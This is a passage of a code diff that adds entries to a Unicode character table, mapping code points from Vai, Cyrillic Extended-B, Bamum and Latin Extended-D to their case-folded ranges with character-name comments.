+ ["\uA5A0", "\uA5A0"], /* VAI SYLLABLE MGBU */
+ ["\uA5A1", "\uA5A1"], /* VAI SYLLABLE GBU */
+ ["\uA5A2", "\uA5A2"], /* VAI SYLLABLE FU */
+ ["\uA5A3", "\uA5A3"], /* VAI SYLLABLE VU */
+ ["\uA5A4", "\uA5A4"], /* VAI SYLLABLE TU */
+ ["\uA5A5", "\uA5A5"], /* VAI SYLLABLE THU */
+ ["\uA5A6", "\uA5A6"], /* VAI SYLLABLE DHU */
+ ["\uA5A7", "\uA5A7"], /* VAI SYLLABLE DHHU */
+ ["\uA5A8", "\uA5A8"], /* VAI SYLLABLE LU */
+ ["\uA5A9", "\uA5A9"], /* VAI SYLLABLE RU */
+ ["\uA5AA", "\uA5AA"], /* VAI SYLLABLE DU */
+ ["\uA5AB", "\uA5AB"], /* VAI SYLLABLE NDU */
+ ["\uA5AC", "\uA5AC"], /* VAI SYLLABLE SU */
+ ["\uA5AD", "\uA5AD"], /* VAI SYLLABLE SHU */
+ ["\uA5AE", "\uA5AE"], /* VAI SYLLABLE ZU */
+ ["\uA5AF", "\uA5AF"], /* VAI SYLLABLE ZHU */
+ ["\uA5B0", "\uA5B0"], /* VAI SYLLABLE CU */
+ ["\uA5B1", "\uA5B1"], /* VAI SYLLABLE JU */
+ ["\uA5B2", "\uA5B2"], /* VAI SYLLABLE NJU */
+ ["\uA5B3", "\uA5B3"], /* VAI SYLLABLE YU */
+ ["\uA5B4", "\uA5B4"], /* VAI SYLLABLE KU */
+ ["\uA5B5", "\uA5B5"], /* VAI SYLLABLE NGGU */
+ ["\uA5B6", "\uA5B6"], /* VAI SYLLABLE GU */
+ ["\uA5B7", "\uA5B7"], /* VAI SYLLABLE MU */
+ ["\uA5B8", "\uA5B8"], /* VAI SYLLABLE NU */
+ ["\uA5B9", "\uA5B9"], /* VAI SYLLABLE NYU */
+ ["\uA5BA", "\uA5BA"], /* VAI SYLLABLE O */
+ ["\uA5BB", "\uA5BB"], /* VAI SYLLABLE ON */
+ ["\uA5BC", "\uA5BC"], /* VAI SYLLABLE NGON */
+ ["\uA5BD", "\uA5BD"], /* VAI SYLLABLE HO */
+ ["\uA5BE", "\uA5BE"], /* VAI SYLLABLE HON */
+ ["\uA5BF", "\uA5BF"], /* VAI SYLLABLE WO */
+ ["\uA5C0", "\uA5C0"], /* VAI SYLLABLE WON */
+ ["\uA5C1", "\uA5C1"], /* VAI SYLLABLE PO */
+ ["\uA5C2", "\uA5C2"], /* VAI SYLLABLE BHO */
+ ["\uA5C3", "\uA5C3"], /* VAI SYLLABLE BO */
+ ["\uA5C4", "\uA5C4"], /* VAI SYLLABLE MBO */
+ ["\uA5C5", "\uA5C5"], /* VAI SYLLABLE KPO */
+ ["\uA5C6", "\uA5C6"], /* VAI SYLLABLE MGBO */
+ ["\uA5C7", "\uA5C7"], /* VAI SYLLABLE GBO */
+ ["\uA5C8", "\uA5C8"], /* VAI SYLLABLE GBON */
+ ["\uA5C9", "\uA5C9"], /* VAI SYLLABLE FO */
+ ["\uA5CA", "\uA5CA"], /* VAI SYLLABLE VO */
+ ["\uA5CB", "\uA5CB"], /* VAI SYLLABLE TO */
+ ["\uA5CC", "\uA5CC"], /* VAI SYLLABLE THO */
+ ["\uA5CD", "\uA5CD"], /* VAI SYLLABLE DHO */
+ ["\uA5CE", "\uA5CE"], /* VAI SYLLABLE DHHO */
+ ["\uA5CF", "\uA5CF"], /* VAI SYLLABLE LO */
+ ["\uA5D0", "\uA5D0"], /* VAI SYLLABLE RO */
+ ["\uA5D1", "\uA5D1"], /* VAI SYLLABLE DO */
+ ["\uA5D2", "\uA5D2"], /* VAI SYLLABLE NDO */
+ ["\uA5D3", "\uA5D3"], /* VAI SYLLABLE SO */
+ ["\uA5D4", "\uA5D4"], /* VAI SYLLABLE SHO */
+ ["\uA5D5", "\uA5D5"], /* VAI SYLLABLE ZO */
+ ["\uA5D6", "\uA5D6"], /* VAI SYLLABLE ZHO */
+ ["\uA5D7", "\uA5D7"], /* VAI SYLLABLE CO */
+ ["\uA5D8", "\uA5D8"], /* VAI SYLLABLE JO */
+ ["\uA5D9", "\uA5D9"], /* VAI SYLLABLE NJO */
+ ["\uA5DA", "\uA5DA"], /* VAI SYLLABLE YO */
+ ["\uA5DB", "\uA5DB"], /* VAI SYLLABLE KO */
+ ["\uA5DC", "\uA5DC"], /* VAI SYLLABLE NGGO */
+ ["\uA5DD", "\uA5DD"], /* VAI SYLLABLE GO */
+ ["\uA5DE", "\uA5DE"], /* VAI SYLLABLE MO */
+ ["\uA5DF", "\uA5DF"], /* VAI SYLLABLE NO */
+ ["\uA5E0", "\uA5E0"], /* VAI SYLLABLE NYO */
+ ["\uA5E1", "\uA5E1"], /* VAI SYLLABLE E */
+ ["\uA5E2", "\uA5E2"], /* VAI SYLLABLE EN */
+ ["\uA5E3", "\uA5E3"], /* VAI SYLLABLE NGEN */
+ ["\uA5E4", "\uA5E4"], /* VAI SYLLABLE HE */
+ ["\uA5E5", "\uA5E5"], /* VAI SYLLABLE HEN */
+ ["\uA5E6", "\uA5E6"], /* VAI SYLLABLE WE */
+ ["\uA5E7", "\uA5E7"], /* VAI SYLLABLE WEN */
+ ["\uA5E8", "\uA5E8"], /* VAI SYLLABLE PE */
+ ["\uA5E9", "\uA5E9"], /* VAI SYLLABLE BHE */
+ ["\uA5EA", "\uA5EA"], /* VAI SYLLABLE BE */
+ ["\uA5EB", "\uA5EB"], /* VAI SYLLABLE MBE */
+ ["\uA5EC", "\uA5EC"], /* VAI SYLLABLE KPE */
+ ["\uA5ED", "\uA5ED"], /* VAI SYLLABLE KPEN */
+ ["\uA5EE", "\uA5EE"], /* VAI SYLLABLE MGBE */
+ ["\uA5EF", "\uA5EF"], /* VAI SYLLABLE GBE */
+ ["\uA5F0", "\uA5F0"], /* VAI SYLLABLE GBEN */
+ ["\uA5F1", "\uA5F1"], /* VAI SYLLABLE FE */
+ ["\uA5F2", "\uA5F2"], /* VAI SYLLABLE VE */
+ ["\uA5F3", "\uA5F3"], /* VAI SYLLABLE TE */
+ ["\uA5F4", "\uA5F4"], /* VAI SYLLABLE THE */
+ ["\uA5F5", "\uA5F5"], /* VAI SYLLABLE DHE */
+ ["\uA5F6", "\uA5F6"], /* VAI SYLLABLE DHHE */
+ ["\uA5F7", "\uA5F7"], /* VAI SYLLABLE LE */
+ ["\uA5F8", "\uA5F8"], /* VAI SYLLABLE RE */
+ ["\uA5F9", "\uA5F9"], /* VAI SYLLABLE DE */
+ ["\uA5FA", "\uA5FA"], /* VAI SYLLABLE NDE */
+ ["\uA5FB", "\uA5FB"], /* VAI SYLLABLE SE */
+ ["\uA5FC", "\uA5FC"], /* VAI SYLLABLE SHE */
+ ["\uA5FD", "\uA5FD"], /* VAI SYLLABLE ZE */
+ ["\uA5FE", "\uA5FE"], /* VAI SYLLABLE ZHE */
+ ["\uA5FF", "\uA5FF"], /* VAI SYLLABLE CE */
+ ["\uA600", "\uA600"], /* VAI SYLLABLE JE */
+ ["\uA601", "\uA601"], /* VAI SYLLABLE NJE */
+ ["\uA602", "\uA602"], /* VAI SYLLABLE YE */
+ ["\uA603", "\uA603"], /* VAI SYLLABLE KE */
+ ["\uA604", "\uA604"], /* VAI SYLLABLE NGGE */
+ ["\uA605", "\uA605"], /* VAI SYLLABLE NGGEN */
+ ["\uA606", "\uA606"], /* VAI SYLLABLE GE */
+ ["\uA607", "\uA607"], /* VAI SYLLABLE GEN */
+ ["\uA608", "\uA608"], /* VAI SYLLABLE ME */
+ ["\uA609", "\uA609"], /* VAI SYLLABLE NE */
+ ["\uA60A", "\uA60A"], /* VAI SYLLABLE NYE */
+ ["\uA60B", "\uA60B"], /* VAI SYLLABLE NG */
+ ["\uA60C", "\uA60C"], /* VAI SYLLABLE LENGTHENER */
+ ["\uA60D", "\uA60D"], /* VAI COMMA */
+ ["\uA60E", "\uA60E"], /* VAI FULL STOP */
+ ["\uA60F", "\uA60F"], /* VAI QUESTION MARK */
+ ["\uA610", "\uA610"], /* VAI SYLLABLE NDOLE FA */
+ ["\uA611", "\uA611"], /* VAI SYLLABLE NDOLE KA */
+ ["\uA612", "\uA612"], /* VAI SYLLABLE NDOLE SOO */
+ ["\uA613", "\uA613"], /* VAI SYMBOL FEENG */
+ ["\uA614", "\uA614"], /* VAI SYMBOL KEENG */
+ ["\uA615", "\uA615"], /* VAI SYMBOL TING */
+ ["\uA616", "\uA616"], /* VAI SYMBOL NII */
+ ["\uA617", "\uA617"], /* VAI SYMBOL BANG */
+ ["\uA618", "\uA618"], /* VAI SYMBOL FAA */
+ ["\uA619", "\uA619"], /* VAI SYMBOL TAA */
+ ["\uA61A", "\uA61A"], /* VAI SYMBOL DANG */
+ ["\uA61B", "\uA61B"], /* VAI SYMBOL DOONG */
+ ["\uA61C", "\uA61C"], /* VAI SYMBOL KUNG */
+ ["\uA61D", "\uA61D"], /* VAI SYMBOL TONG */
+ ["\uA61E", "\uA61E"], /* VAI SYMBOL DO-O */
+ ["\uA61F", "\uA61F"], /* VAI SYMBOL JONG */
+ ["\uA620", "\uA620"], /* VAI DIGIT ZERO */
+ ["\uA621", "\uA621"], /* VAI DIGIT ONE */
+ ["\uA622", "\uA622"], /* VAI DIGIT TWO */
+ ["\uA623", "\uA623"], /* VAI DIGIT THREE */
+ ["\uA624", "\uA624"], /* VAI DIGIT FOUR */
+ ["\uA625", "\uA625"], /* VAI DIGIT FIVE */
+ ["\uA626", "\uA626"], /* VAI DIGIT SIX */
+ ["\uA627", "\uA627"], /* VAI DIGIT SEVEN */
+ ["\uA628", "\uA628"], /* VAI DIGIT EIGHT */
+ ["\uA629", "\uA629"], /* VAI DIGIT NINE */
+ ["\uA62A", "\uA62A"], /* VAI SYLLABLE NDOLE MA */
+ ["\uA62B", "\uA62B"], /* VAI SYLLABLE NDOLE DO */
+ ["\uA62C", "\uA62C"],
+ ["\uA62D", "\uA62D"],
+ ["\uA62E", "\uA62E"],
+ ["\uA62F", "\uA62F"],
+ ["\uA630", "\uA630"],
+ ["\uA631", "\uA631"],
+ ["\uA632", "\uA632"],
+ ["\uA633", "\uA633"],
+ ["\uA634", "\uA634"],
+ ["\uA635", "\uA635"],
+ ["\uA636", "\uA636"],
+ ["\uA637", "\uA637"],
+ ["\uA638", "\uA638"],
+ ["\uA639", "\uA639"],
+ ["\uA63A", "\uA63A"],
+ ["\uA63B", "\uA63B"],
+ ["\uA63C", "\uA63C"],
+ ["\uA63D", "\uA63D"],
+ ["\uA63E", "\uA63E"],
+ ["\uA63F", "\uA63F"],
+ ["\uA640", "\uA641"], /* CYRILLIC CAPITAL LETTER ZEMLYA */
+ ["\uA640", "\uA641"], /* CYRILLIC SMALL LETTER ZEMLYA */
+ ["\uA642", "\uA643"], /* CYRILLIC CAPITAL LETTER DZELO */
+ ["\uA642", "\uA643"], /* CYRILLIC SMALL LETTER DZELO */
+ ["\uA644", "\uA645"], /* CYRILLIC CAPITAL LETTER REVERSED DZE */
+ ["\uA644", "\uA645"], /* CYRILLIC SMALL LETTER REVERSED DZE */
+ ["\uA646", "\uA647"], /* CYRILLIC CAPITAL LETTER IOTA */
+ ["\uA646", "\uA647"], /* CYRILLIC SMALL LETTER IOTA */
+ ["\uA648", "\uA649"], /* CYRILLIC CAPITAL LETTER DJERV */
+ ["\uA648", "\uA649"], /* CYRILLIC SMALL LETTER DJERV */
+ ["\uA64A", "\uA64B"], /* CYRILLIC CAPITAL LETTER MONOGRAPH UK */
+ ["\uA64A", "\uA64B"], /* CYRILLIC SMALL LETTER MONOGRAPH UK */
+ ["\uA64C", "\uA64D"], /* CYRILLIC CAPITAL LETTER BROAD OMEGA */
+ ["\uA64C", "\uA64D"], /* CYRILLIC SMALL LETTER BROAD OMEGA */
+ ["\uA64E", "\uA64F"], /* CYRILLIC CAPITAL LETTER NEUTRAL YER */
+ ["\uA64E", "\uA64F"], /* CYRILLIC SMALL LETTER NEUTRAL YER */
+ ["\uA650", "\uA651"], /* CYRILLIC CAPITAL LETTER YERU WITH BACK YER */
+ ["\uA650", "\uA651"], /* CYRILLIC SMALL LETTER YERU WITH BACK YER */
+ ["\uA652", "\uA653"], /* CYRILLIC CAPITAL LETTER IOTIFIED YAT */
+ ["\uA652", "\uA653"], /* CYRILLIC SMALL LETTER IOTIFIED YAT */
+ ["\uA654", "\uA655"], /* CYRILLIC CAPITAL LETTER REVERSED YU */
+ ["\uA654", "\uA655"], /* CYRILLIC SMALL LETTER REVERSED YU */
+ ["\uA656", "\uA657"], /* CYRILLIC CAPITAL LETTER IOTIFIED A */
+ ["\uA656", "\uA657"], /* CYRILLIC SMALL LETTER IOTIFIED A */
+ ["\uA658", "\uA659"], /* CYRILLIC CAPITAL LETTER CLOSED LITTLE YUS */
+ ["\uA658", "\uA659"], /* CYRILLIC SMALL LETTER CLOSED LITTLE YUS */
+ ["\uA65A", "\uA65B"], /* CYRILLIC CAPITAL LETTER BLENDED YUS */
+ ["\uA65A", "\uA65B"], /* CYRILLIC SMALL LETTER BLENDED YUS */
+ ["\uA65C", "\uA65D"], /* CYRILLIC CAPITAL LETTER IOTIFIED CLOSED LITTLE YUS */
+ ["\uA65C", "\uA65D"], /* CYRILLIC SMALL LETTER IOTIFIED CLOSED LITTLE YUS */
+ ["\uA65E", "\uA65F"], /* CYRILLIC CAPITAL LETTER YN */
+ ["\uA65E", "\uA65F"], /* CYRILLIC SMALL LETTER YN */
+ ["\uA660", "\uA661"], /* CYRILLIC CAPITAL LETTER REVERSED TSE */
+ ["\uA660", "\uA661"], /* CYRILLIC SMALL LETTER REVERSED TSE */
+ ["\uA662", "\uA663"], /* CYRILLIC CAPITAL LETTER SOFT DE */
+ ["\uA662", "\uA663"], /* CYRILLIC SMALL LETTER SOFT DE */
+ ["\uA664", "\uA665"], /* CYRILLIC CAPITAL LETTER SOFT EL */
+ ["\uA664", "\uA665"], /* CYRILLIC SMALL LETTER SOFT EL */
+ ["\uA666", "\uA667"], /* CYRILLIC CAPITAL LETTER SOFT EM */
+ ["\uA666", "\uA667"], /* CYRILLIC SMALL LETTER SOFT EM */
+ ["\uA668", "\uA669"], /* CYRILLIC CAPITAL LETTER MONOCULAR O */
+ ["\uA668", "\uA669"], /* CYRILLIC SMALL LETTER MONOCULAR O */
+ ["\uA66A", "\uA66B"], /* CYRILLIC CAPITAL LETTER BINOCULAR O */
+ ["\uA66A", "\uA66B"], /* CYRILLIC SMALL LETTER BINOCULAR O */
+ ["\uA66C", "\uA66D"], /* CYRILLIC CAPITAL LETTER DOUBLE MONOCULAR O */
+ ["\uA66C", "\uA66D"], /* CYRILLIC SMALL LETTER DOUBLE MONOCULAR O */
+ ["\uA66E", "\uA66E"], /* CYRILLIC LETTER MULTIOCULAR O */
+ ["\uA66F", "\uA66F"], /* COMBINING CYRILLIC VZMET */
+ ["\uA670", "\uA670"], /* COMBINING CYRILLIC TEN MILLIONS SIGN */
+ ["\uA671", "\uA671"], /* COMBINING CYRILLIC HUNDRED MILLIONS SIGN */
+ ["\uA672", "\uA672"], /* COMBINING CYRILLIC THOUSAND MILLIONS SIGN */
+ ["\uA673", "\uA673"], /* SLAVONIC ASTERISK */
+ ["\uA674", "\uA674"], /* COMBINING CYRILLIC LETTER UKRAINIAN IE */
+ ["\uA675", "\uA675"], /* COMBINING CYRILLIC LETTER I */
+ ["\uA676", "\uA676"], /* COMBINING CYRILLIC LETTER YI */
+ ["\uA677", "\uA677"], /* COMBINING CYRILLIC LETTER U */
+ ["\uA678", "\uA678"], /* COMBINING CYRILLIC LETTER HARD SIGN */
+ ["\uA679", "\uA679"], /* COMBINING CYRILLIC LETTER YERU */
+ ["\uA67A", "\uA67A"], /* COMBINING CYRILLIC LETTER SOFT SIGN */
+ ["\uA67B", "\uA67B"], /* COMBINING CYRILLIC LETTER OMEGA */
+ ["\uA67C", "\uA67C"], /* COMBINING CYRILLIC KAVYKA */
+ ["\uA67D", "\uA67D"], /* COMBINING CYRILLIC PAYEROK */
+ ["\uA67E", "\uA67E"], /* CYRILLIC KAVYKA */
+ ["\uA67F", "\uA67F"], /* CYRILLIC PAYEROK */
+ ["\uA680", "\uA681"], /* CYRILLIC CAPITAL LETTER DWE */
+ ["\uA680", "\uA681"], /* CYRILLIC SMALL LETTER DWE */
+ ["\uA682", "\uA683"], /* CYRILLIC CAPITAL LETTER DZWE */
+ ["\uA682", "\uA683"], /* CYRILLIC SMALL LETTER DZWE */
+ ["\uA684", "\uA685"], /* CYRILLIC CAPITAL LETTER ZHWE */
+ ["\uA684", "\uA685"], /* CYRILLIC SMALL LETTER ZHWE */
+ ["\uA686", "\uA687"], /* CYRILLIC CAPITAL LETTER CCHE */
+ ["\uA686", "\uA687"], /* CYRILLIC SMALL LETTER CCHE */
+ ["\uA688", "\uA689"], /* CYRILLIC CAPITAL LETTER DZZE */
+ ["\uA688", "\uA689"], /* CYRILLIC SMALL LETTER DZZE */
+ ["\uA68A", "\uA68B"], /* CYRILLIC CAPITAL LETTER TE WITH MIDDLE HOOK */
+ ["\uA68A", "\uA68B"], /* CYRILLIC SMALL LETTER TE WITH MIDDLE HOOK */
+ ["\uA68C", "\uA68D"], /* CYRILLIC CAPITAL LETTER TWE */
+ ["\uA68C", "\uA68D"], /* CYRILLIC SMALL LETTER TWE */
+ ["\uA68E", "\uA68F"], /* CYRILLIC CAPITAL LETTER TSWE */
+ ["\uA68E", "\uA68F"], /* CYRILLIC SMALL LETTER TSWE */
+ ["\uA690", "\uA691"], /* CYRILLIC CAPITAL LETTER TSSE */
+ ["\uA690", "\uA691"], /* CYRILLIC SMALL LETTER TSSE */
+ ["\uA692", "\uA693"], /* CYRILLIC CAPITAL LETTER TCHE */
+ ["\uA692", "\uA693"], /* CYRILLIC SMALL LETTER TCHE */
+ ["\uA694", "\uA695"], /* CYRILLIC CAPITAL LETTER HWE */
+ ["\uA694", "\uA695"], /* CYRILLIC SMALL LETTER HWE */
+ ["\uA696", "\uA697"], /* CYRILLIC CAPITAL LETTER SHWE */
+ ["\uA696", "\uA697"], /* CYRILLIC SMALL LETTER SHWE */
+ ["\uA698", "\uA699"], /* CYRILLIC CAPITAL LETTER DOUBLE O */
+ ["\uA698", "\uA699"], /* CYRILLIC SMALL LETTER DOUBLE O */
+ ["\uA69A", "\uA69B"], /* CYRILLIC CAPITAL LETTER CROSSED O */
+ ["\uA69A", "\uA69B"], /* CYRILLIC SMALL LETTER CROSSED O */
+ ["\uA69C", "\uA69C"], /* MODIFIER LETTER CYRILLIC HARD SIGN */
+ ["\uA69D", "\uA69D"], /* MODIFIER LETTER CYRILLIC SOFT SIGN */
+ ["\uA69E", "\uA69E"], /* COMBINING CYRILLIC LETTER EF */
+ ["\uA69F", "\uA69F"], /* COMBINING CYRILLIC LETTER IOTIFIED E */
+ ["\uA6A0", "\uA6A0"], /* BAMUM LETTER A */
+ ["\uA6A1", "\uA6A1"], /* BAMUM LETTER KA */
+ ["\uA6A2", "\uA6A2"], /* BAMUM LETTER U */
+ ["\uA6A3", "\uA6A3"], /* BAMUM LETTER KU */
+ ["\uA6A4", "\uA6A4"], /* BAMUM LETTER EE */
+ ["\uA6A5", "\uA6A5"], /* BAMUM LETTER REE */
+ ["\uA6A6", "\uA6A6"], /* BAMUM LETTER TAE */
+ ["\uA6A7", "\uA6A7"], /* BAMUM LETTER O */
+ ["\uA6A8", "\uA6A8"], /* BAMUM LETTER NYI */
+ ["\uA6A9", "\uA6A9"], /* BAMUM LETTER I */
+ ["\uA6AA", "\uA6AA"], /* BAMUM LETTER LA */
+ ["\uA6AB", "\uA6AB"], /* BAMUM LETTER PA */
+ ["\uA6AC", "\uA6AC"], /* BAMUM LETTER RII */
+ ["\uA6AD", "\uA6AD"], /* BAMUM LETTER RIEE */
+ ["\uA6AE", "\uA6AE"], /* BAMUM LETTER LEEEE */
+ ["\uA6AF", "\uA6AF"], /* BAMUM LETTER MEEEE */
+ ["\uA6B0", "\uA6B0"], /* BAMUM LETTER TAA */
+ ["\uA6B1", "\uA6B1"], /* BAMUM LETTER NDAA */
+ ["\uA6B2", "\uA6B2"], /* BAMUM LETTER NJAEM */
+ ["\uA6B3", "\uA6B3"], /* BAMUM LETTER M */
+ ["\uA6B4", "\uA6B4"], /* BAMUM LETTER SUU */
+ ["\uA6B5", "\uA6B5"], /* BAMUM LETTER MU */
+ ["\uA6B6", "\uA6B6"], /* BAMUM LETTER SHII */
+ ["\uA6B7", "\uA6B7"], /* BAMUM LETTER SI */
+ ["\uA6B8", "\uA6B8"], /* BAMUM LETTER SHEUX */
+ ["\uA6B9", "\uA6B9"], /* BAMUM LETTER SEUX */
+ ["\uA6BA", "\uA6BA"], /* BAMUM LETTER KYEE */
+ ["\uA6BB", "\uA6BB"], /* BAMUM LETTER KET */
+ ["\uA6BC", "\uA6BC"], /* BAMUM LETTER NUAE */
+ ["\uA6BD", "\uA6BD"], /* BAMUM LETTER NU */
+ ["\uA6BE", "\uA6BE"], /* BAMUM LETTER NJUAE */
+ ["\uA6BF", "\uA6BF"], /* BAMUM LETTER YOQ */
+ ["\uA6C0", "\uA6C0"], /* BAMUM LETTER SHU */
+ ["\uA6C1", "\uA6C1"], /* BAMUM LETTER YUQ */
+ ["\uA6C2", "\uA6C2"], /* BAMUM LETTER YA */
+ ["\uA6C3", "\uA6C3"], /* BAMUM LETTER NSHA */
+ ["\uA6C4", "\uA6C4"], /* BAMUM LETTER KEUX */
+ ["\uA6C5", "\uA6C5"], /* BAMUM LETTER PEUX */
+ ["\uA6C6", "\uA6C6"], /* BAMUM LETTER NJEE */
+ ["\uA6C7", "\uA6C7"], /* BAMUM LETTER NTEE */
+ ["\uA6C8", "\uA6C8"], /* BAMUM LETTER PUE */
+ ["\uA6C9", "\uA6C9"], /* BAMUM LETTER WUE */
+ ["\uA6CA", "\uA6CA"], /* BAMUM LETTER PEE */
+ ["\uA6CB", "\uA6CB"], /* BAMUM LETTER FEE */
+ ["\uA6CC", "\uA6CC"], /* BAMUM LETTER RU */
+ ["\uA6CD", "\uA6CD"], /* BAMUM LETTER LU */
+ ["\uA6CE", "\uA6CE"], /* BAMUM LETTER MI */
+ ["\uA6CF", "\uA6CF"], /* BAMUM LETTER NI */
+ ["\uA6D0", "\uA6D0"], /* BAMUM LETTER REUX */
+ ["\uA6D1", "\uA6D1"], /* BAMUM LETTER RAE */
+ ["\uA6D2", "\uA6D2"], /* BAMUM LETTER KEN */
+ ["\uA6D3", "\uA6D3"], /* BAMUM LETTER NGKWAEN */
+ ["\uA6D4", "\uA6D4"], /* BAMUM LETTER NGGA */
+ ["\uA6D5", "\uA6D5"], /* BAMUM LETTER NGA */
+ ["\uA6D6", "\uA6D6"], /* BAMUM LETTER SHO */
+ ["\uA6D7", "\uA6D7"], /* BAMUM LETTER PUAE */
+ ["\uA6D8", "\uA6D8"], /* BAMUM LETTER FU */
+ ["\uA6D9", "\uA6D9"], /* BAMUM LETTER FOM */
+ ["\uA6DA", "\uA6DA"], /* BAMUM LETTER WA */
+ ["\uA6DB", "\uA6DB"], /* BAMUM LETTER NA */
+ ["\uA6DC", "\uA6DC"], /* BAMUM LETTER LI */
+ ["\uA6DD", "\uA6DD"], /* BAMUM LETTER PI */
+ ["\uA6DE", "\uA6DE"], /* BAMUM LETTER LOQ */
+ ["\uA6DF", "\uA6DF"], /* BAMUM LETTER KO */
+ ["\uA6E0", "\uA6E0"], /* BAMUM LETTER MBEN */
+ ["\uA6E1", "\uA6E1"], /* BAMUM LETTER REN */
+ ["\uA6E2", "\uA6E2"], /* BAMUM LETTER MEN */
+ ["\uA6E3", "\uA6E3"], /* BAMUM LETTER MA */
+ ["\uA6E4", "\uA6E4"], /* BAMUM LETTER TI */
+ ["\uA6E5", "\uA6E5"], /* BAMUM LETTER KI */
+ ["\uA6E6", "\uA6E6"], /* BAMUM LETTER MO */
+ ["\uA6E7", "\uA6E7"], /* BAMUM LETTER MBAA */
+ ["\uA6E8", "\uA6E8"], /* BAMUM LETTER TET */
+ ["\uA6E9", "\uA6E9"], /* BAMUM LETTER KPA */
+ ["\uA6EA", "\uA6EA"], /* BAMUM LETTER TEN */
+ ["\uA6EB", "\uA6EB"], /* BAMUM LETTER NTUU */
+ ["\uA6EC", "\uA6EC"], /* BAMUM LETTER SAMBA */
+ ["\uA6ED", "\uA6ED"], /* BAMUM LETTER FAAMAE */
+ ["\uA6EE", "\uA6EE"], /* BAMUM LETTER KOVUU */
+ ["\uA6EF", "\uA6EF"], /* BAMUM LETTER KOGHOM */
+ ["\uA6F0", "\uA6F0"], /* BAMUM COMBINING MARK KOQNDON */
+ ["\uA6F1", "\uA6F1"], /* BAMUM COMBINING MARK TUKWENTIS */
+ ["\uA6F2", "\uA6F2"], /* BAMUM NJAEMLI */
+ ["\uA6F3", "\uA6F3"], /* BAMUM FULL STOP */
+ ["\uA6F4", "\uA6F4"], /* BAMUM COLON */
+ ["\uA6F5", "\uA6F5"], /* BAMUM COMMA */
+ ["\uA6F6", "\uA6F6"], /* BAMUM SEMICOLON */
+ ["\uA6F7", "\uA6F7"], /* BAMUM QUESTION MARK */
+ ["\uA6F8", "\uA6F8"],
+ ["\uA6F9", "\uA6F9"],
+ ["\uA6FA", "\uA6FA"],
+ ["\uA6FB", "\uA6FB"],
+ ["\uA6FC", "\uA6FC"],
+ ["\uA6FD", "\uA6FD"],
+ ["\uA6FE", "\uA6FE"],
+ ["\uA6FF", "\uA6FF"],
+ ["\uA700", "\uA700"], /* MODIFIER LETTER CHINESE TONE YIN PING */
+ ["\uA701", "\uA701"], /* MODIFIER LETTER CHINESE TONE YANG PING */
+ ["\uA702", "\uA702"], /* MODIFIER LETTER CHINESE TONE YIN SHANG */
+ ["\uA703", "\uA703"], /* MODIFIER LETTER CHINESE TONE YANG SHANG */
+ ["\uA704", "\uA704"], /* MODIFIER LETTER CHINESE TONE YIN QU */
+ ["\uA705", "\uA705"], /* MODIFIER LETTER CHINESE TONE YANG QU */
+ ["\uA706", "\uA706"], /* MODIFIER LETTER CHINESE TONE YIN RU */
+ ["\uA707", "\uA707"], /* MODIFIER LETTER CHINESE TONE YANG RU */
+ ["\uA708", "\uA708"], /* MODIFIER LETTER EXTRA-HIGH DOTTED TONE BAR */
+ ["\uA709", "\uA709"], /* MODIFIER LETTER HIGH DOTTED TONE BAR */
+ ["\uA70A", "\uA70A"], /* MODIFIER LETTER MID DOTTED TONE BAR */
+ ["\uA70B", "\uA70B"], /* MODIFIER LETTER LOW DOTTED TONE BAR */
+ ["\uA70C", "\uA70C"], /* MODIFIER LETTER EXTRA-LOW DOTTED TONE BAR */
+ ["\uA70D", "\uA70D"], /* MODIFIER LETTER EXTRA-HIGH DOTTED LEFT-STEM TONE BAR */
+ ["\uA70E", "\uA70E"], /* MODIFIER LETTER HIGH DOTTED LEFT-STEM TONE BAR */
+ ["\uA70F", "\uA70F"], /* MODIFIER LETTER MID DOTTED LEFT-STEM TONE BAR */
+ ["\uA710", "\uA710"], /* MODIFIER LETTER LOW DOTTED LEFT-STEM TONE BAR */
+ ["\uA711", "\uA711"], /* MODIFIER LETTER EXTRA-LOW DOTTED LEFT-STEM TONE BAR */
+ ["\uA712", "\uA712"], /* MODIFIER LETTER EXTRA-HIGH LEFT-STEM TONE BAR */
+ ["\uA713", "\uA713"], /* MODIFIER LETTER HIGH LEFT-STEM TONE BAR */
+ ["\uA714", "\uA714"], /* MODIFIER LETTER MID LEFT-STEM TONE BAR */
+ ["\uA715", "\uA715"], /* MODIFIER LETTER LOW LEFT-STEM TONE BAR */
+ ["\uA716", "\uA716"], /* MODIFIER LETTER EXTRA-LOW LEFT-STEM TONE BAR */
+ ["\uA717", "\uA717"], /* MODIFIER LETTER DOT VERTICAL BAR */
+ ["\uA718", "\uA718"], /* MODIFIER LETTER DOT SLASH */
+ ["\uA719", "\uA719"], /* MODIFIER LETTER DOT HORIZONTAL BAR */
+ ["\uA71A", "\uA71A"], /* MODIFIER LETTER LOWER RIGHT CORNER ANGLE */
+ ["\uA71B", "\uA71B"], /* MODIFIER LETTER RAISED UP ARROW */
+ ["\uA71C", "\uA71C"], /* MODIFIER LETTER RAISED DOWN ARROW */
+ ["\uA71D", "\uA71D"], /* MODIFIER LETTER RAISED EXCLAMATION MARK */
+ ["\uA71E", "\uA71E"], /* MODIFIER LETTER RAISED INVERTED EXCLAMATION MARK */
+ ["\uA71F", "\uA71F"], /* MODIFIER LETTER LOW INVERTED EXCLAMATION MARK */
+ ["\uA720", "\uA720"], /* MODIFIER LETTER STRESS AND HIGH TONE */
+ ["\uA721", "\uA721"], /* MODIFIER LETTER STRESS AND LOW TONE */
+ ["\uA722", "\uA723"], /* LATIN CAPITAL LETTER EGYPTOLOGICAL ALEF */
+ ["\uA722", "\uA723"], /* LATIN SMALL LETTER EGYPTOLOGICAL ALEF */
+ ["\uA724", "\uA725"], /* LATIN CAPITAL LETTER EGYPTOLOGICAL AIN */
+ ["\uA724", "\uA725"], /* LATIN SMALL LETTER EGYPTOLOGICAL AIN */
+ ["\uA726", "\uA727"], /* LATIN CAPITAL LETTER HENG */
+ ["\uA726", "\uA727"], /* LATIN SMALL LETTER HENG */
+ ["\uA728", "\uA729"], /* LATIN CAPITAL LETTER TZ */
+ ["\uA728", "\uA729"], /* LATIN SMALL LETTER TZ */
+ ["\uA72A", "\uA72B"], /* LATIN CAPITAL LETTER TRESILLO */
+ ["\uA72A", "\uA72B"], /* LATIN SMALL LETTER TRESILLO */
+ ["\uA72C", "\uA72D"], /* LATIN CAPITAL LETTER CUATRILLO */
+ ["\uA72C", "\uA72D"], /* LATIN SMALL LETTER CUATRILLO */
+ ["\uA72E", "\uA72F"], /* LATIN CAPITAL LETTER CUATRILLO WITH COMMA */
